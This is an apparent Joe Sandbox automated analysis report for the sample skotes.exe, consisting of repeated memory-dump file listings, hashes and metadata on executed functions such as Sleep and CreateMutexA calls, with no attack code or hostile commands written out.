Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 01acaf19bacc28ee09a046355a6bfc923d9dd9bb471a36b9ffd4858dde9a6b9b
Instruction ID: eb7c28b0b5b1bbdbecee3cc7ccf9ea19b329fc4fb1868db2240b4385ebd16c06
Opcode Fuzzy Hash: 01acaf19bacc28ee09a046355a6bfc923d9dd9bb471a36b9ffd4858dde9a6b9b
Instruction Fuzzy Hash: 90A1B0B2A012069FDF20DB64C945B9AB7A8FF15324F15826EE816D7341EB31EA04CBD1

Analysis Process: skotes.exePID: 1308, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	619
Total number of Limit Nodes:	4

Executed Functions

Function 00AF652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00AF652A,?,?,?,?,?,00AF7661), ref: 00AF6567

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: f6da16bb7d024bb14481fa939645bb2c28deaf4ee97a885aef9e269b9aab1fd3
Instruction ID: 7ea21b31355ae16500b14690cf44bbff0ddd3d6939158a4848a4119408ac55db
Opcode Fuzzy Hash: f6da16bb7d024bb14481fa939645bb2c28deaf4ee97a885aef9e269b9aab1fd3
Instruction Fuzzy Hash: FCE0C23008010CAFDF35BB98C959EA83B6AEF5274DF004810FE185B222CB36EE81D680

Function 00AC9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6389f5bd6b51a9f7a6ecb1b292ff780f8ddd3d43da9fb04a72bec3ed1aa7ac30
Instruction ID: 438811a7368fd11d391de88c8fc88daad533ac57a6a788a75551bfc0c5c25b59
Opcode Fuzzy Hash: 6389f5bd6b51a9f7a6ecb1b292ff780f8ddd3d43da9fb04a72bec3ed1aa7ac30
Instruction Fuzzy Hash: 32317931B142049BEB08EB7CDD89FAEB7A2EBD1314F20825CE114E73E6C77599808751

Function 00AC9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 629ccf4dd493e1d2aad4dbb2a85d6118da116220e459359532bca7688bd9beca
Instruction ID: b3ea232376d75600e1bdd28087aea2f435a13e47c1d600e04c37de49c7e6a5da
Opcode Fuzzy Hash: 629ccf4dd493e1d2aad4dbb2a85d6118da116220e459359532bca7688bd9beca
Instruction Fuzzy Hash: BF3179317101088BFB18AB7CDD89FBDB7A2EB96314F20825DE019EB3D5D73599808752

Function 00ACA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729090986.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729108609.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729126776.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729143715.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729159536.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729173709.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729215066.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729233401.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729248522.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729264251.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729278705.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729294677.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729311788.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ce24a3dd309d2b6a1f34ac62ea6d6a2fab0122a81e94825b3cd372f2f9c4c6e4
Instruction ID: ff387fd1b7e347a18f9099cd337af594d470b09054bf97a7b26ebc4ae598cb93
Opcode Fuzzy Hash: ce24a3dd309d2b6a1f34ac62ea6d6a2fab0122a81e94825b3cd372f2f9c4c6e4
Instruction Fuzzy Hash: F3316831B101089BEB189B7CDD89FBCB7B2DBA1318F24835DE118A73D5C73699808752

Function 00ACA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000002.00000002.1728308904.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728325404.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728376892.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728393988.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728410983.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728425425.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728439924.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728575553.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728595566.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728625300.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728667216.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728685793.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728703127.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728719428.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728735895.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728754853.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728777674.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728796035.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728812789.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728830374.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728846269.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728868946.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728890625.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728906468.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728921204.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728939078.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728957044.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728972482.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1728987713.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729005543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729030587.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729045864.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729060101.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1729074502.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
